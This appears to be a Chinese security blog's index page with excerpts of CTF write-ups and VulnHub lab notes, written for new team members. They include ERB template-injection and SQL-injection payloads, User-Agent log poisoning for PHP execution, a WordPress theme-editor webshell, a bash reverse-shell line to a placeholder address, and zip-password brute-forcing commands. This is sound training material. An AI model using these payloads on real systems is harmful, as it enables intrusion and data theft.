2024寒假训练赛2——Writeup

WEB 窥视 一个简单的论坛系统 核心的api有 登录 POST /auth/login 注册 POST /auth/register 创建/回复帖子 POST /forum/post 审了一圈代码,唯一可操作的地方应该就是创建帖子(POST /forum/post)那一块了,这里有个文件图片上传 ValidationMiddleware("post", "/forum"), async function (req, res) { const { title, message, parentId, ...convertParams } = req.body; ... let attachedImage = null; if (req.files && req.files.image) { const fileName = randomBytes(16).toString("hex"); const filePath = path.join(__dirname, "..", "uploads", fileName); try { const processedImage = await convert({ ...convertParams, srcData: req.files.image.data, format: "AVIF", }); await fs.writeFile(filePath, processedImage); attachedImage = `/uploads/${fileName}`; } catch (error) { req.flashError("There was an issue processing your image, please try again."); console.error("Error occured while processing image:", error); return res.redirect("/forum"); } } ... } 随便进到一篇文章里po一张图片上去,结合POST表单和代码可以看出来,除了title, message, parentId三个参数外,其他参数都被写到convertParams里了, const processedImage = await convert负责用convertParams里的参数对图片进行一个转换。 ...

January 25, 2024 · 16 min · Red

2024寒假训练赛1——Writeup

WEB LoveTok 拿到附件后先看文件结构 还是比较简单的,老规矩,先从index入口开始 注意到这个对象,是个路由,路由方法在上面的函数。文件结构里找一下发现了同名的文件,进去看看 发现接收format参数后拿他去new了一个对象,同样跟进一下这个TimeModel文件 先看构造函数,可以看到会被addslashes过滤一遍。这里简单说一下这个函数的处理方法,如果被处理数据是输入到数据库中的,就会在例如单双引号、斜杠前面加上反斜杠进行转义。算是一种安全处理方式。不管要注意的就是,他只在数据输入进数据库时有效。 接下来就是一些显示的处理。看到下面的getTime方法,有个eval,应该就是利用这个家伙了 可以看到format有被放到eval中,但是不管输入什么都会被当成文本。怎么办呢?看提示 又是一个直接给payload的题了属于是 霓虹灯 一样,先看文件结构 发现不是常规语言,而是ruby 没事,同样先找index入口。 post提交了一个表单,没有明显的接口提示,那就直接看看controllers吧 没猜错,controllers控制着表单接收。如果经是验丰富的人看到这个正则匹配应该就知道肯定需要绕过了,但是我们还不清楚这个ERB对象是干嘛用的,再看看其他文件,也没发现有这个ERB类的定义,所以猜测应该是ruby自带的 搜了一下发现还真是,是个模板,而且还有个模板注入漏洞 发现ERB是Embedded RuBy的简称,意思是嵌入式的Ruby,是一种文本模板技术 网上提供了很多这个模板的注入方法,简单看了一下,读文件应该是长下面这样 <%= File.open('flag.txt').read %> 但是显然这应该不满足我们的正则匹配规则,怎么办呢?我看到了这篇文档 简单来说就是用^或者$,但是实测发现并不奏效,不过也当作是个知识点记录一下 怎么办呢?继续搜,发现了这个 是的,使用%0a或者\n换行就能绕过。拿我们前面的payload测试一下 1111%0a<%= File.open('/flag').read %> 这里有个坑要注意,如果上面这句payload直接在前端的输入框输入,就会被多次url编码,导致后端接收到的结果与预期不同,因此要将%,=等符号手动url编码后放置到数据包中进行发送 最终在数据包中的payload应该如下 neon=111%0a<%25%3d+File.open('/flag').read+%25> 有毒朋友 简单的文件包含与本地命令执行,下载附件后先看入口index.php 发现是读cookie,并且看到是被base64编码的,因此可以抓包下来看到serialize($page)的内容 在右侧已经被自动解码 继续看代码,跟进到PageModel 发现有一个文件包含的地方,并且可以通过控制刚刚cookie中的参数来达到访问不同的文件的效果。此时包含什么文件进来都会被当成php代码执行。而现在要找到能够查看并且可随着数据包而修改的文件内容的,第一个想起的就是服务器的日志文件。它会记录我们对服务器的访问请求。具体可以看我的这篇博客 所以可以通过修改User-Agent,从而达到让日志文件被写入php指令并执行的目的 这里要注意,得发送两次才能看到ls的结果,可以思考一下这是为什么 MISC 嘈杂 就像提示里说的那样,这里直接放exp import numpy as np from scipy.io.wavfile import read from scipy.fft import dst # 读取音频文件 final_waveform = read("encrypted.wav") # 对音频信号进行离散余弦变换(DST) result = dst(final_waveform[1]) # 从变换结果中选择幅度大于10^5的值 amplitudes = result[result > 10**5] amplitudes.sort() # 用于存储恢复的文本 recovered = "" # 遍历选定的幅度值 for a in amplitudes: # 找到幅度在变换结果中的位置 found = np.where(result == a)[0][0] # 判断位置是否为奇数 if found % 2 == 1: # 计算字符对应的ASCII码值 c = round(found / 20) # 将ASCII码值缩小,直到在可打印字符范围内 while c > 128: c //= 4 # 将字符添加到恢复的文本中 recovered += chr(c) # 打印恢复的flag print(recovered) 莫斯档案馆 每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。 ...

January 24, 2024 · 12 min · Red

2023TKKCTF——Write up

⚠:如果需要本次比赛源代码的可以私聊找我要。本篇wp主要面向观众是新成员,用语会比较口语化,如有不严谨的地方还请见谅 WEB easy_SQL 拿到题第一步先审计代码,这里过滤只有一个clean函数,按照常规有两种解题思路 1.在查pass的地方绕过,在name后输入管理员账号即可。但问题就是,我们现在并没有管理员账号,因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除 2.、在name或pass里插入联合查询,以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况,而且还会出现单/双引号被clean过滤的情况 怎么办呢?我们先把query里的sql语句提取出来做一下研究 SELECT * FROM users WHERE name='".$username."' AND pass='".$password."'; 假设我现在输入的username=admin,password=123,那么就是 SELECT * FROM users WHERE name='admin' AND pass='123'; 这里我们先尝试把AND pass删掉,在username输入\ SELECT * FROM users WHERE name='admin\' AND pass='123'; 为什么这样就叫把AND pass删掉呢?因为原本在admin后的引号被斜杠转义成了内容,丧失了原先用来“框住”字符串的功能,而这个功能已经被pass=后面的引号给替代。此时我们只要在password输入or 1=1 -- ,SQL语句变成 SELECT * FROM users WHERE name='admin\' AND pass='or 1=1 -- 123'; 123';就会被注释掉,而这句语句where后面的条件因为or 1=1而100%成立,因此就会执行SELECT * FROM users,即可拿到flag。 这里有个细节需要注意,就是--后面是要带个空格的,一些浏览器会把URL中最后一个空格删掉,因此要手动补一个%20 时光密钥 PS:本题由于容器实例时间校对有错,因此判断登录用的时间戳比真实unix时间戳多了大约15秒。做出来的成员应该是运气比较好,多算了二十几秒就开始发包尝试 打开实例,根据提示,先算出合适的时间戳,再用burp抓包修改一下即可 在网上找到现在的时间戳 burp抓包 为了方便操作,我们把数据包发到repeater 更新一下时间戳,预估个比当前时间戳多20到25秒左右的时间放到password,不断点击send直至出现下面所示的cookie即可 根据所给提示里的博客可知,base64解码该cookie即可获得下面结果 将gift值后面的东西进行base32解码即可 ...

December 11, 2023 · 9 min · Red

[VulnHub]第三章

本章靶场:Prime: 1 FUZZ 用来用去感觉还是wfuzz好用,参数简洁明了。这个靶机下用到参数有下面这些 wpscan wpscan的-e参数,可以用来枚举用户名 wordpress修改主题文件 一个意料之外又情理之中的功能,可以用来写一句话木马 防御办法:wp禁止主题编辑操作,通过在wp-config.php中,把define(‘DISALLOW_FILE_EDIT’,true) MSF提权漏洞搜索 在拿到普通用户后,在msf中尝试searchsploit指令,后面加上系统的版本信息,就能找到提权漏洞的exp,编译后上传,再运行即可

October 24, 2023 · 1 min · Red

[VulnHub]第二章

本章靶场:Corrosion系列 kali上的目录扫描字典 经过几次vulnhub打靶后发现kali上的目录扫描器可谓是五花八门,一些靶场甚至会出现没有使用指定扫描器就没有正确结果的情况 以下是整理的一些常用字典目录,当然可能有疏漏的地方,但也足以应付大部分场景 #除了默认扫描外,绝对目录均为/usr dirsearch默认扫描 nikto默认扫描 ../share/dirb ../share/dirbuster ../wordlist Bash -i 这个参数的作用是创建一个新的bash交互 但真正实用的是下面这句反弹shell bash -i >& /dev/tcp/IP地址/端口 0>&1 具体分析可以看这里 fcrackzip 这是一个压缩包密码爆破工具。可以使用自定义字符组合 fcrackzip -b -c 'aA1' -l 1-10 -u 123lybbn.zip -b 表示使用暴利破解的方式 -c ‘aA1’ 表示使用大小写字母和数字混合破解的方式 -l 1-10 表示需要破解的密码长度为1到10位 -u 表示只显示破解出来的密码,其他错误的密码不显示出 fcrackzip -D -p lybbnpass.txt -u 123lybbn.zip -D 表示要使用字典破解 -p 表示要使用那个字典破解 nano 我自己本人经常死脑筋只会用vim或者vi来修改文件,但其实很多靶机都会有这个坑,就是没有vi系列,只能用nano UID、GID、EUID、EGID、SUID、SGID 内容比较多,简单说一下 UID是当前实际用户,GID是当前用户组,EUID是文件有效用户,EGID是文件有效用户组 而SUID和SGID更像是设置“全局变量”(其实我也还不太理解,因为暂时没怎么用到),感兴趣的可以看这里 硬链接和软链接 简单来说,在linux文件结构中,硬链接更像是一个“实时同步”,并且即便源文件被删除了也并不影响同步文件的读取。而软链接可以理解成windows系统下的快捷方式。更多细节可以看这里

July 23, 2023 · 1 min · Red